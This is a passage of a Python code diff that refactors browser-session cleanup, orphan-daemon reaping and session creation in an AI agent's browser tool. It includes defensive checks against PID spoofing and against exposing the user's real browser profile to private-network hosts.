BROWSER_SESSION_INACTIVITY_TIMEOUT * 20) -# Track last activity time per session _session_last_activity: Dict[str, float] = {} -# Owner Hermes home per session (#86402). The inactivity janitor is one -# process-global thread started by whichever profile first opens a browser, -# so it has no profile scope of its own; under multiplexing every cleanup -# must re-enter the *owning* profile's scope (copy_context at spawn would pin -# the first profile's secrets onto every other profile's teardown). +# Owner Hermes home per session: the janitor is one process-global thread with +# no profile scope of its own, so each teardown must re-enter the OWNING +# profile's scope (copy_context at spawn would pin the first profile's secrets +# onto every other profile's teardown). _session_owner_homes: Dict[str, str] = {} -# Consecutive janitor cleanup failures per session; after -# MAX_INACTIVITY_CLEANUP_FAILURES the session is force-reaped (#100738). +# Consecutive janitor cleanup failures per session; force-reaped after MAX_INACTIVITY_CLEANUP_FAILURES. _cleanup_failures: Dict[str, int] = {} MAX_INACTIVITY_CLEANUP_FAILURES = 3 -# Session keys flagged suspect after a command timeout (#72205 / #85125 3b). -# Written by _BrowserSessionBackend.mark_suspect (cheap, lock-free — a single -# GIL-atomic dict write per the agent.deadline.SuspectableBackend contract); -# consumed by ensure_healthy() at next use, which recycles the session. +# Session keys flagged suspect after a command timeout. Written by +# _BrowserSessionBackend.mark_suspect (a single GIL-atomic dict write — must stay +# cheap and lock-free per the SuspectableBackend contract); consumed by +# ensure_healthy() at next use, which recycles the session. _suspect_browser_sessions: Dict[str, str] = {} class _BrowserSessionBackend: """``agent.deadline.SuspectableBackend`` adapter for one cached session key. - The browser "backend" is the module-level ``_active_sessions[key]`` cache - entry plus its agent-browser daemon, so the adapter is a thin stateless - view keyed by session key rather than a long-lived object. Browser - commands run through raw ``subprocess`` waits (not ``run_bounded_*``), so - the timeout path calls ``mark_suspect`` inline; ``ensure_healthy`` runs at - the top of ``_get_session_info`` — the single choke point every browser - command passes through before reusing a cached session. + A thin stateless view over ``_active_sessions[key]`` + its daemon. The + timeout path calls ``mark_suspect`` inline; ``ensure_healthy`` runs at the + top of ``_get_session_info`` — the single choke point every command passes + through before reusing a cached session. """ __slots__ = ("_session_key",) @@ -2236,21 +1400,18 @@ class _BrowserSessionBackend: def mark_suspect(self, reason: str) -> None: """Flag the cached session as possibly poisoned. - MUST stay cheap, non-blocking, and lock-free (SuspectableBackend - adopter contract): it runs inline on the timed-out caller's thread. - All expensive recycle work is deferred to ``ensure_healthy``. + MUST stay cheap, non-blocking and lock-free (it runs inline on the + timed-out caller's thread); all recycle work is deferred to ``ensure_healthy``. """ _suspect_browser_sessions[self._session_key] = reason def ensure_healthy(self) -> bool: """Recycle the session when a prior timeout marked it suspect. - Returns ``True`` when the cached session is safe to reuse, ``False`` - after tearing down a suspect session (caller creates a fresh one). - The flag is popped *before* teardown: ``_cleanup_single_browser_session`` - issues an agent-browser ``close`` through ``_run_browser_command`` / - ``_get_session_info``, and clearing first keeps that re-entrant call - from recursing back into another recycle. + True when safe to reuse; False after tearing down a suspect session + (caller creates a fresh one). The flag is popped BEFORE teardown: the + ``close`` re-enters ``_get_session_info`` and must not recurse into + another recycle. """ reason = _suspect_browser_sessions.pop(self._session_key, None) if reason is None: @@ -2374,12 +1535,9 @@ def _emergency_cleanup_all_sessions(): logger.debug("Orphan reap on exit failed: %s", e) -# Register cleanup via atexit only. Previous versions installed SIGINT/SIGTERM -# handlers that called sys.exit(), but this conflicts with prompt_toolkit's -# async event loop — a SystemExit raised inside a key-binding callback -# corrupts the coroutine state and makes the process unkillable. atexit -# handlers run on any normal exit (including sys.exit), so browser sessions -# are still cleaned up without hijacking signals. +# atexit only — NO SIGINT/SIGTERM handlers calling sys.exit(): a SystemExit +# raised inside a prompt_toolkit key-binding callback corrupts the coroutine +# state and makes the process unkillable. atexit runs on any normal exit. atexit.register(_emergency_cleanup_all_sessions) @@ -2389,14 +1547,11 @@ atexit.register(_emergency_cleanup_all_sessions) @contextlib.contextmanager def _session_owner_scope(task_id: str): - """Run under the Hermes home + secret scope that owns ``task_id``'s - browser session (recorded by ``_update_session_activity``). + """Run under the Hermes home + secret scope owning ``task_id``'s session (no-op if unrecorded). - No-op when no owner was recorded. Mirrors - ``gateway.run._profile_runtime_scope`` — the janitor thread is - process-global, so each session's teardown must re-enter its OWN - profile's scope rather than inherit whichever profile spawned the - thread; never falls through to ``os.environ``. + The janitor thread is process-global, so each teardown must re-enter its + OWN profile's scope rather than inherit the spawning profile's; never falls + through to ``os.environ``. """ owner_home = _session_owner_homes.get(task_id) if owner_home is None: @@ -2423,17 +1578,12 @@ def _session_owner_scope(task_id: str): def _cleanup_inactive_browser_sessions(): - """ - Clean up browser sessions that have been inactive for longer than the timeout. + """Close sessions inactive longer than the timeout (called by the cleanup thread). - This function is called periodically by the background cleanup thread to - automatically close sessions that haven't been used recently, preventing - orphaned sessions (local or Browserbase) from accumulating. - - Each session is torn down under its owner profile's scope (#86402). A - session whose cleanup keeps failing is force-reaped after - ``MAX_INACTIVITY_CLEANUP_FAILURES`` attempts instead of retrying forever - (#100738); only a successful cleanup clears its failure count. + Each session is torn down under its owner profile's scope. A session whose + cleanup keeps failing is force-reaped after MAX_INACTIVITY_CLEANUP_FAILURES + attempts instead of retrying forever; only a successful cleanup clears its + failure count. """ current_time = time.time() sessions_to_cleanup = [] @@ -2495,31 +1645,16 @@ def _verify_reapable_browser_daemon(daemon_pid: int, socket_dir: str, session_name: str) -> bool: """Confirm a live PID is genuinely *this* session's agent-browser daemon. - The orphan reaper scans world-writable, predictably-named temp paths - (``/tmp/agent-browser-h_*`` etc.) and reads a daemon PID from a ``.pid`` - file we do not write ourselves — the agent-browser daemon writes it. A - same-user actor can therefore plant a fake socket dir whose ``.pid`` points - at an arbitrary victim process, or a recycled PID can land on an unrelated - process after the real daemon exits. Either way, terminating that PID - (a *tree* kill via ``_terminate_host_pid``) is an arbitrary-process DoS. - - Before reaping we require, via ``psutil`` (a hard dependency, cross-platform - for same-user processes — the only processes the reaper can signal): - - 1. **Identity** — the process looks like agent-browser: ``agent-browser`` - appears in its name or command line. - 2. **Binding** — the process is bound to *this* session's socket dir: the - socket dir path (or its basename) appears in the command line, or in - ``AGENT_BROWSER_SOCKET_DIR`` in the process environment. - - Requirement (2) is the real spoof defense: a planted process pointing at a - victim PID will not have the victim's cmdline/environ referencing our - socket dir. An attacker would need a process that genuinely embeds this - exact session path — i.e. a real daemon they already own and could signal - directly. Fail-closed: any ambiguity (unreadable cmdline, no match) means - we refuse to reap and leave the process and its socket dir alone. - - Returns ``True`` only when both checks pass. + The ``.pid`` file lives in a world-writable, predictably-named temp dir and + is written by the daemon, not us: a same-user actor can plant one pointing + at a victim PID, or a recycled PID can land on an unrelated process — and + reaping is a *tree* kill, i.e. an arbitrary-process DoS. Two psutil checks + must both pass: (1) identity — ``agent-browser`` in the name or cmdline; + (2) binding — the socket dir path/basename in the cmdline, or + ``AGENT_BROWSER_SOCKET_DIR`` in its environ. (2) is the real spoof defense: + an attacker would need a real daemon embedding this exact path, which they + could already signal. Fail-closed on any ambiguity (unreadable cmdline, no + match): refuse to reap and leave process and socket dir alone. """ try: import psutil @@ -2578,20 +1713,12 @@ def _verify_reapable_browser_daemon(daemon_pid: int, socket_dir: str, def _socket_dir_idle_seconds(socket_dir: str) -> Optional[float]: - """Seconds since anything in ``socket_dir`` was last written. + """Seconds since anything in ``socket_dir`` was last written; None if unknown (fail safe). - Every browser command writes ``_stdout_`` / ``_stderr_`` temp - files into the session's socket dir, so the newest mtime under that dir is - a last-activity marker that — unlike ``_session_last_activity`` — survives - hermes restarts and does not depend on in-memory bookkeeping surviving an - exception path. - - The directory's own mtime is not sufficient: command names repeat, so - rewriting an existing ``_stdout_click`` updates that file's mtime but not - the directory's. Scan the entries too. - - Returns ``None`` when the age cannot be determined, so callers can fail - safe (treat unknown age as "too young to reap"). + Every command writes ``_stdout_`` / ``_stderr_`` there, so the + newest mtime is a last-activity marker that survives hermes restarts and + lost in-memory bookkeeping. The dir's own mtime is not enough — rewriting + an existing ``_stdout_click`` doesn't touch it — so entries are scanned too. """ try: latest = os.path.getmtime(socket_dir) @@ -2611,34 +1738,107 @@ def _socket_dir_idle_seconds(socket_dir: str) -> Optional[float]: return max(0.0, time.time() - latest) +def _owner_pid_alive(socket_dir: str, session_name: str) -> Tuple[Optional[int], Optional[bool]]: + """Read ``.owner_pid`` and report ``(pid, alive)``; ``(None, None)`` when missing/corrupt.""" + owner_pid_file = os.path.join(socket_dir, f"{session_name}.owner_pid") + if not os.path.isfile(owner_pid_file): + return None, None + try: + owner_pid = int(Path(owner_pid_file).read_text(encoding="utf-8").strip()) + # ``os.kill(pid, 0)`` is NOT a no-op on Windows; use the cross-platform check. + from gateway.status import _pid_exists + return owner_pid, _pid_exists(owner_pid) + except (ValueError, OSError): + return None, None # corrupt file — fall through to legacy handling + + +def _reap_socket_dir(socket_dir: str, session_name: str, tracked_names: set) -> bool: + """Reap one ``agent-browser-`` dir if orphaned; return True when a daemon was killed. + + Ownership priority: (1) a live ``owner_pid`` means another hermes process + owns it — leave it alone UNLESS it is untracked here and idle past + ``BROWSER_ORPHAN_GRACE_SECONDS`` (owner-alive alone made leaked daemons + immortal: in-memory tracking is lost on any exception path and the daemon's + own idle timeout doesn't fire when it is wedged); (2) no owner_pid (legacy) + falls back to this process's tracking. A pidless dir is only stale after the + grace period — deleting it immediately races the creator's first stdout open. + The daemon PID is verified as ours before a tree-kill (world-writable dir, + recycled PIDs), and refused without a start-time fingerprint. + """ + owner_pid, owner_alive = _owner_pid_alive(socket_dir, session_name) + if owner_alive is True: + if session_name in tracked_names: + return False + idle_s = _socket_dir_idle_seconds(socket_dir) + if idle_s is None or idle_s < BROWSER_ORPHAN_GRACE_SECONDS: + return False # unknown age or within grace — fail safe + logger.warning( + "Browser session %s has a live owner (PID %s) but is untracked " + "and idle for %ds (grace %ds) — treating as leaked and reaping", + session_name, owner_pid, int(idle_s), + BROWSER_ORPHAN_GRACE_SECONDS) + elif owner_alive is None and session_name in tracked_names: + return False + + pid_file = os.path.join(socket_dir, f"{session_name}.pid") + if not os.path.isfile(pid_file): + idle_s = _socket_dir_idle_seconds(socket_dir) + if idle_s is None or idle_s < BROWSER_ORPHAN_GRACE_SECONDS: + return False + shutil.rmtree(socket_dir, ignore_errors=True) + return False + + try: + daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip()) + except (ValueError, OSError): + shutil.rmtree(socket_dir, ignore_errors=True) + return False + + from gateway.status import _pid_exists + if not _pid_exists(daemon_pid): + shutil.rmtree(socket_dir, ignore_errors=True) + return False + + if not _verify_reapable_browser_daemon(daemon_pid, socket_dir, session_name): + return False # leave process and dir for a later sweep once the imposter PID is gone + + # Tree-kill so Chromium children (renderer, GPU, ...) go too, not just the daemon. + reaped = False + try: + from gateway.status import get_process_start_time + from tools.process_registry import ProcessRegistry + daemon_start = get_process_start_time(daemon_pid) + if daemon_start is None: + logger.warning( + "Refusing to reap browser daemon PID %d (session %s): " + "no start-time fingerprint available", daemon_pid, session_name) + return False + ProcessRegistry._terminate_host_pid(daemon_pid, daemon_start) + logger.info("Reaped orphaned browser daemon PID %d (session %s)", + daemon_pid, session_name) + reaped = True + except (ProcessLookupError, PermissionError, OSError): + pass + shutil.rmtree(socket_dir, ignore_errors=True) + return reaped + + def _reap_orphaned_browser_sessions(): - """Scan for orphaned agent-browser daemon processes from previous runs. - - When the Python process that created a browser session exits uncleanly - (SIGKILL, crash, gateway restart), the in-memory ``_active_sessions`` - tracking is lost but the node + Chromium processes keep running. - - This function scans the tmp directory for ``agent-browser-*`` socket dirs - left behind by previous runs, reads the daemon PID files, and kills any - daemons whose owning hermes process is no longer alive. - - Ownership detection priority: - 1. ``.owner_pid`` file (written by current code) — if the - referenced hermes PID is alive, leave the daemon alone regardless - of whether it's in *this* process's ``_active_sessions``. This is - cross-process safe: two concurrent hermes instances won't reap each - other's daemons. - 2. Fallback for daemons that predate owner_pid: check - ``_active_sessions`` in the current process. If not tracked here, - treat as orphan (legacy behavior). + """Kill agent-browser daemons whose owning hermes process is gone. + When the process that created a session exits uncleanly (SIGKILL, crash, + gateway restart) the in-memory ``_active_sessions`` tracking is lost but the + node + Chromium processes keep running. Scans the tmp dir for + ``agent-browser-*`` socket dirs and applies ``_reap_socket_dir``'s ownership + rules (owner_pid file first — cross-process safe, two hermes instances never + reap each other — then in-process tracking for legacy daemons). Safe to call from any context — atexit, cleanup thread, or on demand. """ import glob - # Lightpanda servers spawned for Browser Use mode keep their own records - # (no agent-browser socket dir); sweep them with the same owner-liveness - # rule before the daemon scan, which may return early. + # Lightpanda servers (Browser Use mode) keep their own records (no + # agent-browser socket dir); sweep them with the same owner-liveness rule + # BEFORE the daemon scan, which may return early. try: from tools.browser_lightpanda import reap_orphaned_lightpanda @@ -2647,17 +1847,12 @@ def _reap_orphaned_browser_sessions(): logger.debug("Lightpanda orphan reap failed: %s", e) tmpdir = _socket_safe_tmpdir() - pattern = os.path.join(tmpdir, "agent-browser-h_*") - socket_dirs = glob.glob(pattern) - # Also pick up CDP sessions - socket_dirs += glob.glob(os.path.join(tmpdir, "agent-browser-cdp_*")) - # Also pick up cloud-provider sessions (browser-use/browserbase/firecrawl) - socket_dirs += glob.glob(os.path.join(tmpdir, "agent-browser-hermes_*")) - + socket_dirs = [] + for prefix in ("agent-browser-h_*", "agent-browser-cdp_*", "agent-browser-hermes_*"): + socket_dirs += glob.glob(os.path.join(tmpdir, prefix)) if not socket_dirs: return - # Build set of session_names currently tracked by this process (fallback path) with _cleanup_lock: tracked_names = { info.get("session_name") @@ -2667,140 +1862,20 @@ def _reap_orphaned_browser_sessions(): reaped = 0 for socket_dir in socket_dirs: - dir_name = os.path.basename(socket_dir) - # dir_name is "agent-browser-{session_name}" - session_name = dir_name.removeprefix("agent-browser-") - if not session_name: - continue - - # Ownership check: prefer owner_pid file (cross-process safe). - owner_pid_file = os.path.join(socket_dir, f"{session_name}.owner_pid") - owner_pid: Optional[int] = None - owner_alive: Optional[bool] = None # None = owner_pid missing/unreadable - if os.path.isfile(owner_pid_file): - try: - owner_pid = int(Path(owner_pid_file).read_text(encoding="utf-8").strip()) - # ``os.kill(pid, 0)`` is NOT a no-op on Windows (bpo-14484). - # Use the cross-platform existence check. - from gateway.status import _pid_exists - owner_alive = _pid_exists(owner_pid) - except (ValueError, OSError): - owner_pid = None - owner_alive = None # corrupt file — fall through - - if owner_alive is True: - # Owner is alive. Normally that means the session belongs to a - # live hermes process and must not be touched — but "owner alive" - # alone made leaked daemons immortal: if the owner lost its - # in-memory tracking (any exception path between spawn and - # registration), nothing would ever reap the daemon, and the - # daemon-side AGENT_BROWSER_IDLE_TIMEOUT_MS does not fire when the - # daemon itself is wedged (e.g. Chrome's framework was swapped out - # from under it by an auto-update). - # - # So: still trust live tracking, but fall back to idle age. - if session_name in tracked_names: - continue - - idle_s = _socket_dir_idle_seconds(socket_dir) - if idle_s is None or idle_s < BROWSER_ORPHAN_GRACE_SECONDS: - # Unknown age, or still within the grace window — fail safe. - continue - - logger.warning( - "Browser session %s has a live owner (PID %s) but is untracked " - "and idle for %ds (grace %ds) — treating as leaked and reaping", - session_name, owner_pid, int(idle_s), - BROWSER_ORPHAN_GRACE_SECONDS) - # fall through to the reap path below - - if owner_alive is None: - # No owner_pid file (legacy daemon). Fall back to in-process - # tracking: if this process knows about the session, leave alone. - if session_name in tracked_names: - continue - - # owner_alive is False (dead owner) OR legacy daemon not tracked here. - pid_file = os.path.join(socket_dir, f"{session_name}.pid") - if not os.path.isfile(pid_file): - # A newly-created session directory exists briefly before - # agent-browser writes its PID/owner files. Another Hermes process - # may run this global reaper during that window. Treat a pidless - # directory as stale only after the orphan grace period; deleting - # it immediately races the creator's first stdout/stderr open. - idle_s = _socket_dir_idle_seconds(socket_dir) - if idle_s is None or idle_s < BROWSER_ORPHAN_GRACE_SECONDS: - continue - shutil.rmtree(socket_dir, ignore_errors=True) - continue - - try: - daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip()) - except (ValueError, OSError): - shutil.rmtree(socket_dir, ignore_errors=True) - continue - - # Check if the daemon is still alive. ``os.kill(pid, 0)`` on Windows - # is NOT a no-op — use the handle-based existence check. - from gateway.status import _pid_exists - if not _pid_exists(daemon_pid): - shutil.rmtree(socket_dir, ignore_errors=True) - continue - - # The PID is live — but the .pid file lives in a world-writable, - # predictably-named temp dir we don't write ourselves, and PIDs get - # recycled after the real daemon exits. Verify the process really is - # *this* session's agent-browser daemon before tree-killing it; refuse - # otherwise (don't touch the process, leave the socket dir for a later - # sweep once the imposter PID is gone). Fixes the arbitrary same-user - # process DoS in issue #14073. - if not _verify_reapable_browser_daemon( - daemon_pid, socket_dir, session_name): - continue - - # Daemon is alive and its owner is dead (or legacy + untracked). Reap. - # Use the process-tree termination helper so Chromium children - # (renderer, GPU, etc.) are cleaned up, not just the daemon parent. - try: - from gateway.status import get_process_start_time - from tools.process_registry import ProcessRegistry - daemon_start = get_process_start_time(daemon_pid) - if daemon_start is None: - # Identity can't be fingerprinted — the verify above matched, - # but without a start time _terminate_host_pid cannot rule out - # a recycle between verify and kill. Refuse; a later sweep - # retries once the process table settles. - logger.warning( - "Refusing to reap browser daemon PID %d (session %s): " - "no start-time fingerprint available", daemon_pid, session_name) - continue - ProcessRegistry._terminate_host_pid(daemon_pid, daemon_start) - logger.info("Reaped orphaned browser daemon PID %d (session %s)", - daemon_pid, session_name) + session_name = os.path.basename(socket_dir).removeprefix("agent-browser-") + if session_name and _reap_socket_dir(socket_dir, session_name, tracked_names): reaped += 1 - except (ProcessLookupError, PermissionError, OSError): - pass - - # Clean up the socket directory - shutil.rmtree(socket_dir, ignore_errors=True) if reaped: logger.info("Reaped %d orphaned browser session(s) from previous run(s)", reaped) def _browser_cleanup_thread_worker(): - """ - Background thread that periodically cleans up inactive browser sessions. + """Every 30s: close sessions idle past BROWSER_SESSION_INACTIVITY_TIMEOUT. - Runs every 30 seconds and checks for sessions that haven't been used - within the BROWSER_SESSION_INACTIVITY_TIMEOUT period. - - Also reaps orphaned daemons — on startup (sessions left by previous - process lifetimes) *and* every BROWSER_ORPHAN_REAP_INTERVAL seconds - thereafter. The periodic pass matters because a leak is not only a - across-restart phenomenon: a daemon can fall out of in-memory tracking - at any point in a long-lived process, and a startup-only reap can never - recover from that. + Also reaps orphaned daemons on startup AND every BROWSER_ORPHAN_REAP_INTERVAL + seconds — a daemon can fall out of in-memory tracking at any point in a + long-lived process, and a startup-only reap could never recover from that. """ reap_every_cycles = max(1, round(BROWSER_ORPHAN_REAP_INTERVAL / 30)) cycle = 0 @@ -2854,7 +1929,7 @@ def _update_session_activity(task_id: str): """Update the last activity timestamp for a session. Also records the owning Hermes home on first sight so the process-global - janitor can tear the session down under its owner's scope (#86402). An + janitor can tear the session down under its owner's scope. An activity touch deliberately does NOT reset ``_cleanup_failures`` — only a successful cleanup does. """ @@ -3028,20 +2103,14 @@ BROWSER_TOOL_SCHEMAS = [ def _create_local_session(task_id: str, allow_real_profile: bool = True) -> Dict[str, str]: import uuid - # Real-profile consent: instead of an agent-browser-managed throwaway - # Chromium, attach this local session (via CDP) to the user's default - # browser running on a hermes-owned SNAPSHOT of their real profile — - # live logins/cookies included. Fail closed on resolver/launch errors: - # a consented user must never be silently downgraded to a throwaway. - # - # ``allow_real_profile=False`` is passed by the hybrid private-URL sidecar - # (``::local`` key): that path exists to keep a LAN/loopback host OFF the - # cloud backend, and routing the user's full authenticated cookie jar to an - # arbitrary internal host the model chose to visit is a strictly larger - # exposure than the routing rule was protecting against — and one the user - # never consented to for that URL. The sidecar always gets a throwaway - # profile. (Also keeps a real-profile resolve failure from breaking - # private-URL routing, which has nothing to do with the real profile.) + # Real-profile consent: attach this local session (via CDP) to the user's + # browser running on a hermes-owned SNAPSHOT of their real profile, logins + # included. Fail closed on resolver/launch errors — a consented user must + # never be silently downgraded to a throwaway. The hybrid private-URL + # sidecar passes allow_real_profile=False: handing the user's cookie jar to + # an arbitrary internal host the model chose is a larger, unconsented + # exposure than the routing rule protects against (and a real-profile + # failure must not break private-URL routing). if allow_real_profile: cdp_url, err = _real_profile_cdp() if err: @@ -3124,23 +2193,69 @@ def _create_cdp_session(task_id: str, cdp_url: str) -> Dict[str, str]: } -def _get_session_info(task_id: Optional[str] = None) -> Dict[str, Any]: +def _create_cloud_session_or_fallback(task_id: str, provider) -> Dict[str, Any]: + """Create a cloud session; fall back to local Chromium (marked degraded) on failure. + + Some cloud providers (Browser-Use v3) return an HTTP CDP discovery URL + instead of a raw websocket endpoint, so ``cdp_url`` is resolved here. """ - Get or create session info for the given session key. + try: + session_info = provider.create_session(task_id) + if not session_info or not isinstance(session_info, dict): + raise ValueError(f"Cloud provider returned invalid session: {session_info!r}") + if session_info.get("cdp_url"): + session_info = dict(session_info) + session_info["cdp_url"] = _resolve_cdp_override(str(session_info["cdp_url"])) + return session_info + except Exception as e: + provider_name = type(provider).__name__ + logger.warning( + "Cloud provider %s failed (%s); attempting fallback to local " + "Chromium for task %s", + provider_name, e, task_id, + exc_info=True, + ) + try: + session_info = _create_local_session(task_id) + except Exception as local_error: + raise RuntimeError( + f"Cloud provider {provider_name} failed ({e}) and local " + f"fallback also failed ({local_error})" + ) from e + # Mark session as degraded for observability + if isinstance(session_info, dict): + session_info = dict(session_info) + session_info["fallback_from_cloud"] = True + session_info["fallback_reason"] = str(e) + session_info["fallback_provider"] = provider_name + return session_info - In cloud mode, creates a Browserbase session with proxies enabled. - In local mode, generates a session name for agent-browser --session. - Also starts the inactivity cleanup thread and updates activity tracking. - Thread-safe: multiple subagents can call this concurrently. - Args: - task_id: Session key. Normally the task_id as-is, but may carry the - ``::local`` suffix for the hybrid-routing local sidecar — in that - case the cloud provider is skipped even when one is configured, - and a local Chromium session is created instead. +def _create_session_for_key(task_id: str, force_local: bool) -> Dict[str, Any]: + """Create a fresh session for ``task_id`` (runs OUTSIDE the lock: cloud mode makes a network call). - Returns: - Dict with session_name (always), bb_session_id + cdp_url (cloud only) + Precedence: CDP override > hybrid local sidecar > cloud provider > local. + The hybrid private-URL sidecar NEVER gets the real profile — presenting real + cookies to an arbitrary LAN host the model routed there is unconsented + exposure (see ``_create_local_session``). + """ + cdp_override = _get_cdp_override() + if cdp_override and not force_local: + return _create_cdp_session(task_id, cdp_override) + if force_local: + return _create_local_session(task_id, allow_real_profile=False) + provider = _get_cloud_provider() + if provider is None: + return _create_local_session(task_id) + return _create_cloud_session_or_fallback(task_id, provider) +def _get_session_info(task_id: Optional[str] = None) -> Dict[str, Any]: + """Get or create session info for a session key (thread-safe). + + ``task_id`` may carry the ``::local`` suffix (hybrid local sidecar), which + forces a local Chromium even when a cloud provider is configured. Also + starts the inactivity cleanup thread and touches activity tracking. + Returns a dict with ``session_name`` (always) plus ``bb_session_id`` / + ``cdp_url`` for cloud sessions. """ if task_id is None: task_id = "default" @@ -3155,7 +2270,7 @@ def _get_session_info(task_id: Optional[str] = None) -> Dict[str, Any]: # Check if we already have a session for this task existing_session = _active_sessions.get(task_id) - # Suspect-session recycle (#72205 / #85125 3b): a previous command + # Suspect-session recycle: a previous command # timeout marked this cached session suspect via the SuspectableBackend # adapter. ensure_healthy() tears it down here, at next use, and we fall # through to create a fresh session — the expensive recycle lives on this @@ -3201,52 +2316,7 @@ def _get_session_info(task_id: Optional[str] = None) -> Dict[str, Any]: # URLs in the same conversation continue to use the cloud session under # the bare task_id key. force_local = _is_local_sidecar_key(task_id) - - # Create session outside the lock (network call in cloud mode) - cdp_override = _get_cdp_override() - if cdp_override and not force_local: - session_info = _create_cdp_session(task_id, cdp_override) - elif force_local: - # Hybrid private-URL sidecar: NEVER the real profile (see - # _create_local_session — presenting real cookies to an arbitrary LAN - # host the model routed here is unconsented exposure). - session_info = _create_local_session(task_id, allow_real_profile=False) - else: - provider = _get_cloud_provider() - if provider is None: - session_info = _create_local_session(task_id) - else: - try: - session_info = provider.create_session(task_id) - # Validate cloud provider returned a usable session - if not session_info or not isinstance(session_info, dict): - raise ValueError(f"Cloud provider returned invalid session: {session_info!r}") - if session_info.get("cdp_url"): - # Some cloud providers (including Browser-Use v3) return an HTTP - # CDP discovery URL instead of a raw websocket endpoint. - session_info = dict(session_info) - session_info["cdp_url"] = _resolve_cdp_override(str(session_info["cdp_url"])) - except Exception as e: - provider_name = type(provider).__name__ - logger.warning( - "Cloud provider %s failed (%s); attempting fallback to local " - "Chromium for task %s", - provider_name, e, task_id, - exc_info=True, - ) - try: - session_info = _create_local_session(task_id) - except Exception as local_error: - raise RuntimeError( - f"Cloud provider {provider_name} failed ({e}) and local " - f"fallback also failed ({local_error})" - ) from e - # Mark session as degraded for observability - if isinstance(session_info, dict): - session_info = dict(session_info) - session_info["fallback_from_cloud"] = True - session_info["fallback_reason"] = str(e) - session_info["fallback_provider"] = provider_name + session_info = _create_session_for_key(task_id, force_local) with _cleanup_lock: # Double-check: another thread may have created a session while we @@ -3275,7 +2345,6 @@ def _get_session_info(task_id: Optional[str] = None) -> Dict[str, Any]: return session_info - def _agent_browser_candidate_present(path: str | None) -> bool: if not path: return False @@ -3285,14 +2354,11 @@ def _agent_browser_candidate_present(path: str | None) -> bool: def _resolve_npx_bin() -> Optional[str]: - """Resolve a runnable npx binary, preferring the Hermes-managed/Homebrew - extended search over a bare ambient PATH lookup. + """Resolve a runnable npx, preferring the Hermes-managed/Homebrew extended PATH. - Checking bare PATH first would let a broken or unrelated system npx - shadow a healthy Hermes-managed one with no recovery — every candidate - is therefore validated with ``node_tool_runnable`` (the same check - ``find_hermes_node_executable`` uses to self-heal a managed Node tree) - before being trusted, falling through to the next candidate otherwise. + Bare PATH first would let a broken system npx shadow a healthy managed one + with no recovery, so every candidate is validated with ``node_tool_runnable`` + before being trusted. """ extended_path = _merge_browser_path("") if extended_path: @@ -3305,15 +2371,38 @@ def _resolve_npx_bin() -> Optional[str]: return None +def _agent_browser_candidates(extended_path: str): + """Yield agent-browser lookup candidates in resolution order (lazily — each is a filesystem probe). + + Order: ambient PATH (global install) → extended PATH (Hermes-managed Node, + macOS versioned Homebrew, Termux/system dirs) → repo-local node_modules/.bin. + The local lookup goes through ``shutil.which`` with an explicit path so + Windows resolves the ``.cmd`` shim (CreateProcess cannot run npm's + extensionless POSIX shim — WinError 193) while POSIX keeps the plain one. + """ + yield shutil.which("agent-browser") + if extended_path: + yield shutil.which("agent-browser", path=extended_path) + local_bin_dir = Path(__file__).parent.parent / "node_modules" / ".bin" + if local_bin_dir.is_dir(): + yield shutil.which("agent-browser", path=str(local_bin_dir)) + + def _find_agent_browser(*, validate: bool = True) -> str: """ Find the agent-browser CLI executable. Checks in order: current PATH, Homebrew/common bin dirs, Hermes-managed - node, local node_modules/.bin/, npx fallback. + node, local node_modules/.bin/, npx fallback, then a lazy install. - Returns: - Path to agent-browser executable + Every candidate is validated with ``agent_browser_runnable`` before it is + cached. A bare ``shutil.which`` hit is NOT trusted: agent-browser's npm + postinstall re-points a global symlink at our local node_modules binary, + which disappears on the next ``hermes update`` and leaves a dangling link + that ``which`` still reports but exec fails on (exit 127). Validating lets a + dead candidate fall through instead of being cached and killing every + browser tool. ``validate=False`` (schema-time check_fn) only tests presence + and never caches. Raises: FileNotFoundError: If agent-browser is not installed @@ -3328,73 +2417,24 @@ def _find_agent_browser(*, validate: bool = True) -> str: ) return _cached_agent_browser - # Note: _agent_browser_resolved is set at each return site below - # (not before the search) to prevent a race where a concurrent thread - # sees resolved=True but _cached_agent_browser is still None. - # - # Every candidate below is validated with ``agent_browser_runnable`` before - # it is cached. A bare ``shutil.which`` hit is NOT trusted: agent-browser's - # npm postinstall re-points a global install symlink at our local - # node_modules binary, which disappears on the next ``hermes update`` and - # leaves a dangling link that ``which`` still reports but exec fails on with - # exit 127 (issue #48521). Validating lets a dead candidate fall through to - # the next working resolution (extended PATH → local .bin → npx) instead of - # caching the broken one and silently killing every browser tool. + def _accept(candidate: str) -> str: + # _agent_browser_resolved is set at each accept site (not before the + # search) so a concurrent reader never sees resolved=True with a None cache. + global _cached_agent_browser, _agent_browser_resolved + if validate: + _cached_agent_browser = candidate + _agent_browser_resolved = True + return candidate - # Check if it's in PATH (global install) - which_result = shutil.which("agent-browser") - if which_result and ( - agent_browser_runnable(which_result) if validate else _agent_browser_candidate_present(which_result) - ): - if not validate: - return which_result - _cached_agent_browser = which_result - _agent_browser_resolved = True - return which_result - - # Build an extended search PATH including Hermes-managed Node, macOS - # versioned Homebrew installs, and fallback system dirs like Termux. + ok = agent_browser_runnable if validate else _agent_browser_candidate_present extended_path = _merge_browser_path("") - if extended_path: - which_result = shutil.which("agent-browser", path=extended_path) - if which_result and ( - agent_browser_runnable(which_result) if validate else _agent_browser_candidate_present(which_result) - ): - if not validate: - return which_result - _cached_agent_browser = which_result - _agent_browser_resolved = True - return which_result + for candidate in _agent_browser_candidates(extended_path): + if candidate and ok(candidate): + return _accept(candidate) - # Check local node_modules/.bin/ (npm install in repo root). - # On Windows, npm drops three shims in .bin: an extensionless POSIX shell - # script (for Git Bash / WSL), `agent-browser.cmd` (for cmd/PowerShell), - # and `agent-browser.ps1` (for PowerShell). CreateProcess (used by Python's - # subprocess on Windows) cannot execute the extensionless shim — it raises - # WinError 193 "%1 is not a valid Win32 application". We must resolve to the - # `.cmd` shim instead. `shutil.which` consults PATHEXT, so we delegate to it - # with an explicit path so POSIX hosts still pick the extensionless shim. - repo_root = Path(__file__).parent.parent - local_bin_dir = repo_root / "node_modules" / ".bin" - if local_bin_dir.is_dir(): - local_which = shutil.which("agent-browser", path=str(local_bin_dir)) - if local_which and ( - agent_browser_runnable(local_which) if validate else _agent_browser_candidate_present(local_which) - ): - if not validate: - return local_which - _cached_agent_browser = local_which - _agent_browser_resolved = True - return _cached_agent_browser - - # Check common npx locations (also search the 